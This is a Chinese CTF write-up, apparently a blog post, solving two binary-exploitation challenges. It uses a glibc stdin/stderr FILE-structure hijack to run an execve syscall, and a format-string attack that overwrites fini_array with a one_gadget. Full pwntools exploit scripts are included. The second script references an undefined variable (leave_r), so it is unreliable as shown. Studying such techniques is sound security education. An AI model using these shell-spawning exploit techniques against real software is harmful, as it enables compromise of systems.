Hello,hackers(pwn0x0)

目录

前言

观安杯 iofile

观安杯 reject dollar


前言

好久没有写Blog了,正好最近来了兴致。就要开学季了,又要忙喽~也不知道下一篇啥时候。这篇就送给有缘人好了。希望大家可以学到一些东西。


观安杯 iofile

 $ checksec iofile
 [*] '/hack/tmp/pwn_iofile/iofile'
     Arch:     amd64-64-little
     RELRO:    Full RELRO
     Stack:    Canary found
     NX:       NX enabled
     PIE:      PIE enabled

保护开得满齐全的。丢到 IDA 分析:

 void __fastcall __noreturn main(int a1, char **a2, char **a3)
 {
   char choice; // [rsp+Fh] [rbp-11h]
   __int64 v4[2]; // [rsp+10h] [rbp-10h] BYREF
 ​
   v4[1] = __readfsqword(0x28u);
   sub_1219();
   sub_12BE();
   while ( 1 )
   {
     while ( 1 )
     {
       printf("# ");
       choice = getchar();
       while ( getchar() != 10 )
         ;
       if ( choice != '3' )
         break;
       puts("3.1415926535897932384626433");
     }
     if ( choice > '3' )
       break;                                    // error choice
     if ( choice == '1' )
     {
       printf("Gift 1: %p\n", &printf);
     }
     else
     {
       if ( choice != '2' )
         break;
       if ( !dword_404C )
       {
         printf("Your ID:");
         __isoc99_scanf("%llx", v4);
         puts("Here comes the gift.");
         *(_BYTE *)v4[0] = 0;                    // 任意写0 1次
         dword_404C = 1;
       }
     }
   }
   exit(0);
 }

发现是菜单题,其中选项1泄露了libc地址。选项2给了一次任意写 0 的机会。结合题目提示可以很快想到时打IO。但这里不是利用IO vtable漏洞了。而是利用fread任意写漏洞。方便介绍,我们以执行 scanf 后的情况为例:

 $ tele &_IO_2_1_stdin_
 0x000072ea26a038e0│+0x0000: 0x00000000fbad208b  ← $r11                                 #_flags
 0x000072ea26a038e8│+0x0008: 0x000072ea26a03963  →  0xa05720000000000a ("\n"?)          # read_ptr
 0x000072ea26a038f0│+0x0010: 0x000072ea26a03964  →  0x26a0572000000000                  # read_end
 0x000072ea26a038f8│+0x0018: 0x000072ea26a03963  →  0xa05720000000000a ("\n"?)          # read_base
 0x000072ea26a03900│+0x0020: 0x000072ea26a03963  →  0xa05720000000000a ("\n"?)          # write_base
 0x000072ea26a03908│+0x0028: 0x000072ea26a03963  →  0xa05720000000000a ("\n"?)          # write_ptr
 0x000072ea26a03910│+0x0030: 0x000072ea26a03963  →  0xa05720000000000a ("\n"?)          # write_end
 0x000072ea26a03918│+0x0038: 0x000072ea26a03963  →  0xa05720000000000a ("\n"?)  ← $rsi  # buf_base
 0x000072ea26a03920│+0x0040: 0x000072ea26a03964  →  0x26a0572000000000                  # buf_end
 0x000072ea26a03928│+0x0048: 0x0000000000000000                                         # save_base

其中read_baseread_end指定的read buffer优先于buf_basebuf_end指定的buffer。而read_ptr指示read buffer中地址最低的未写入内存的字符。因此可以看到执行完scanf\n字符滞留在read buffer。因此下一次读取时会优先取出滞留在read buffer的\n。回到本题,我们可以发现在执行完选项2时,程序即将调用exit()函数。换言之,在执行完任意写0后。我们只有一次注入机会。也就是巧妙运用如下code注入:

 choice = getchar();
 while ( getchar() != 10 );

此前,我们提到在read buffer耗尽时会采用buffer来执行写入内存操作。也就是说,只要控制了buf_base变量,我们能够控制写入起始位置。而修改buf_base最低为0,使得buf_base上抬/buffer扩容。故此,我们可以小范围控制注入内容。

 $ tele &_IO_2_1_stdin_
 0x000072ea26a038e0│+0x0000: 0x00000000fbad208b
 0x000072ea26a038e8│+0x0008: 0x000072ea26a03963  →  0xa05720000000000a ("\n"?)
 0x000072ea26a038f0│+0x0010: 0x000072ea26a03964  →  0x26a0572000000000
 0x000072ea26a038f8│+0x0018: 0x000072ea26a03963  →  0xa05720000000000a ("\n"?)
 0x000072ea26a03900│+0x0020: 0x000072ea26a03963  →  0xa05720000000000a ("\n"?)
 0x000072ea26a03908│+0x0028: 0x000072ea26a03963  →  0xa05720000000000a ("\n"?)
 0x000072ea26a03910│+0x0030: 0x000072ea26a03963  →  0xa05720000000000a ("\n"?)
 0x000072ea26a03918│+0x0038: 0x000072ea26a03900  →  0x000072ea26a03963  →  0xa05720000000000a ("\n"?)
 0x000072ea26a03920│+0x0040: 0x000072ea26a03964  →  0x26a0572000000000
 0x000072ea26a03928│+0x0048: 0x0000000000000000

可以看到在修改完成后,buf_base指向write_base。故此,在下一次操作中。我们可以修改buf_basebuf_end从而控制buffer缓冲区位置。如下所示:

 $ tele &_IO_2_1_stdin_
 0x0000731e086038e0│+0x0000: 0x00000000fbad208b   ← $rbx
 0x0000731e086038e8│+0x0008: 0x0000731e086044e0  →  0x00000000fbad2087
 0x0000731e086038f0│+0x0010: 0x0000731e086044e0  →  0x00000000fbad2087
 0x0000731e086038f8│+0x0018: 0x0000731e086044e0  →  0x00000000fbad2087
 0x0000731e08603900│+0x0020: 0x0000731e086044e0  →  0x00000000fbad2087
 0x0000731e08603908│+0x0028: 0x0000731e086044e0  →  0x00000000fbad2087
 0x0000731e08603910│+0x0030: 0x0000731e086044e0  →  0x00000000fbad2087
 0x0000731e08603918│+0x0038: 0x0000731e086044e0  →  0x00000000fbad2087
 0x0000731e08603920│+0x0040: 0x0000731e086054e0  →  0x0000000000000000
 0x0000731e08603928│+0x0048: 0x0000000000000000

我们成功将buffer缓冲区篡改到_IO_2_1_stderr_。此外read ptr==read end,导致下一次读入直接注入到buffer中,也就是_IO_2_1_stderr_中。需要稍微停顿一下,否则程序会认为任然注入在old buffer中。于是可以伪造stderr。由于某种原因,导致在调用system时程序被上锁进入等待。因此,我决定使用syscall。

 from pwn import *
 from PwnModules import *
 context.os = "linux"
 context.arch = "amd64"
 context.log_level = "debug"
 def choice(item):
   if isinstance(item,int):
     item = str(item).encode()
   io.recvuntil(b"# ")
   io.sendline(item)
 ​
 def gift():
   choice(1)
 ​
 def one_more(addr):
   choice(2)
   io.recvuntil(b"Your ID:")
   io.sendline(str(addr).encode())
 ​
 def pi(chunk_id):
   choice(3)
 ​
 local = True
 if local:
   io = process("./iofile")
 else:
   ip = ""
   port = 1111
   io = remote(ip, port)
 elf=ELF('./iofile')
 libc=ELF('./libc.so.6')
 # leak libc
 gift()
 io.recvuntil(b"Gift 1: ")
 printf=int(io.recvline()[:-1], 16)
 libcbase = printf - libc.sym.printf
 libc.address = libcbase
 success("printf : 0x%x" % printf)
 success("libc base : 0x%x" % libcbase)
 # calculate some informations
 stdin = libc.sym._IO_2_1_stdin_
 stdin_bufbase=stdin+0x38
 stderr = libc.sym._IO_2_1_stderr_
 system = libc.sym.system
 setcontext = libc.sym.setcontext
 vtable = libcbase + 0x202030
 _IO_overflow = vtable + 0x18
 _IO_wfile_jumps = libc.sym._IO_wfile_jumps
 setcontext = libc.sym.setcontext
 p_rax_r = libcbase + 0x00000000000dd237
 syscall_r = libcbase + 0x0000000000098fa6
 # fix buf_base
 one_more(hex(stdin_bufbase))
 # fake stderr
 fake_io_addr = stderr # 伪造的fake_IO结构体的地址
 vtable = _IO_wfile_jumps + 0x30
 call_addr = setcontext+61
 next_chain = 0
 fake_IO_FILE = b'/bin/sh\x00'        #_flags=rdi
 fake_IO_FILE += p64(0) * 7
 fake_IO_FILE += p64(1) + p64(2) # rcx!=0 (FSOP) _IO_save_base=2
 fake_IO_FILE += p64(fake_io_addr + 0xb0)#_IO_backup_base=rdx
 fake_IO_FILE += p64(call_addr) #_IO_save_end=call addr(call setcontext/system)
 fake_IO_FILE =  fake_IO_FILE.ljust(0x68, b'\x00')
 fake_IO_FILE += p64(0)  # _chain
 fake_IO_FILE =  fake_IO_FILE.ljust(0x88, b'\x00')
 fake_IO_FILE += p64(stderr + 0x1000)  # _lock = a writable address
 fake_IO_FILE =  fake_IO_FILE.ljust(0xa0, b'\x00')
 fake_IO_FILE += p64(fake_io_addr + 0x30) #_wide_data,rax1_addr
 fake_IO_FILE =  fake_IO_FILE.ljust(0xc0, b'\x00')
 fake_IO_FILE += p64(1) #mode=1
 fake_IO_FILE =  fake_IO_FILE.ljust(0xd8, b'\x00')
 fake_IO_FILE += p64(vtable)  # vtable=IO_wfile_jumps+0x10/0x30
 fake_IO_FILE += p64(0)*6
 fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr # 0x110
 ​
 io.recvuntil(b"# ")
 payload = p64((stdin_bufbase>>8<<8) + 0x63) * 3  + p64(stderr) + p64(stderr+0x1000)
 io.send(payload)
 # note:finally the program will do xor eax, eax. so must recover rax
 frame = p64(0) * 13 + p64(stderr) # rdi
 frame += p64(0)* 3 # rsi rbp rbx
 frame += p64(0) # rdx 
 frame += p64(59) # rax
 frame += p64(0) + p64(stderr + 0x190 - 0x28 - 0x10) # rcx rsp
 frame += p64(p_rax_r + 1) # rip
 frame += p64(p_rax_r) + p64(59) + p64(syscall_r)
 # pwn
 sleep(3)
 io.sendline(fake_IO_FILE+ frame[0x68:])
 io.interactive()

观安杯 reject dollar

 $ checksec pwn            
 [*] '/tmp/pwn_reject_dollar/pwn'
     Arch:     amd64-64-little
     RELRO:    No RELRO
     Stack:    Canary found
     NX:       NX enabled
     PIE:      No PIE (0x3ff000)

丢到 IDA 里面分析,可以看到是一个菜单题。因此逐一分析菜单功能。

 char s[264]; // [rsp+10h] [rbp-110h] BYREF
 unsigned __int64 v5; // [rsp+118h] [rbp-8h]
 case 1:
   memset(byte_4035A0, 0, 0x100uLL);
   printf("Enter your message > ");
   check(0, byte_4035A0, 0x100uLL);
   memcpy(s, byte_4035A0, 0x100uLL);
   break;

leave message功能从结果上看将注入字符串拉取到了栈空间,并且不存在溢出现象。此外,还对注入字符串执行了如下的检查操作:

 unsigned __int64 __fastcall check(int a1, void *a2, size_t a3)
 {
   size_t i; // [rsp+20h] [rbp-10h]
   unsigned __int64 v6; // [rsp+28h] [rbp-8h]
 ​
   read(a1, a2, a3);
   for ( i = 0LL; i < a3; ++i ) if ( *((_BYTE *)a2 + i) == '$' )
     {
       // ...
       exit(1);
     }
   return v6 - __readfsqword(0x28u);
 }

可以看到上述功能仅仅检查注入字符串是否存在$。接下来我们来到sort message功能,其主要功能如下:

 case 2:
   bubbling_sort(s);
   printf("Sorted message: ");
   printf(s);
   break;

从总体上看,存在格式化字符串漏洞。因为s属于栈空间,因此我们并不需要找链。随后进入bubbling_sort查看冒泡排序的功能实现。很快就发现如下设计使得冒泡排序是无效的:

for ( i = 0LL; a1[i] != '\n' && a1[i] != Null; ++i ) ;// 会被\n截断

其默认字符串会被\n\x00截断,但leave message功能中采用read读入字符串。故此massage并不存在\n截断和\x00截断的情况。排序操作一旦绕过,格式字符串漏洞的攻击效力将可恢复如初。而puts original message功能没有任何疑点。

 case 3:
   printf("Original message: ");
   puts(byte_4035A0);
   break;

大体上,我们可以确定使用格式化字符串漏洞泄露和攻击。我们可以从栈空间上获取得到stack地址和libc地址。但程序主动调用exit()退出,导致main函数的retrun address并不能被攻击。从最开始的安全机制检查可以发现got表可改写。这里有两种改写思路:

  1. 改写puts@got为system,注入/bin/sh字符串,调用puts original message功能

  2. 改写exit@gotsetvbuf(stderr, 0, 2, 0),改写setvbuf@gotsystem,改写stderr._flag/bin/sh

但是本人在做题时误认printf("Sorted message: ");puts("Sorted message: ");。因此没有选择第1种攻击方式,第二种的创造性思维也是头一回学习到。因此,我选择攻击fini.array。利用到如下调用链:

 exit -> _dl_fini -> fini.array

与此同时因为$rbp比较难控制在libc上,所以并不能实现栈迁移。那就冒险打一手one gadget,恰好发现存在one gadget可以调用。

 from pwn import *
 from PwnModules import *
 context.os = "linux"
 context.arch = "amd64"
 def choice(item):
   if isinstance(item,int):
     item = str(item).encode()
   io.recvuntil(b"Enter your choice > ")
   io.sendline(item)
 ​
 def send_msg(msg):
   choice(1)
   io.recvuntil(b"Enter your message > ")
   io.send(msg)
 ​
 def show_msg():
   choice(3)
 ​
 def show_sorted():
   choice(2)
 local = True
 if local:
   io = process("./pwn")
 else:
   ip = ""
   port = 1111
   io = remote(ip, port)
 elf=ELF('./pwn')
 libc=ELF('./libc.so.6')
 ​
 payload = b'\n' + b'%p-' * 43
 send_msg(payload)
 # leak stack + libc
 show_sorted()
 io.recvuntil(b'\n')
 stack = int(io.recvuntil(b'-')[:-1], 16)
 canary_addr=stack + 0x108
 for i in range(42):
   recv_str=io.recvuntil(b'-')[:-1]
 print("recv_str : %s" % recv_str)
 libcbase = int(recv_str, 16) - 0x29d90
 libc.address = libcbase
 success('libc base : 0x%x' % libcbase)
 success('stack : 0x%x' % stack)
 one = libcbase + 0xebd3f
 # fix fini.array + 0x18 : 0x0000000000403300
 for i in range(6):
   num = (one >> 8 * i) & 0xff
   num = (num - 0x3c + 0x100) % 0x100
   payload = b'\n' + b'a' * 7 + f'%{((leave_r & 0xff) + 0x40 - 0x17) + num}c'.encode() + b'-%p'*14 + b'-%hhn' + b'a' * 4 + p64(0x00000000004032e8+i)
   send_msg(payload)
   show_sorted()
 #pwn
 choice(4)
 io.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值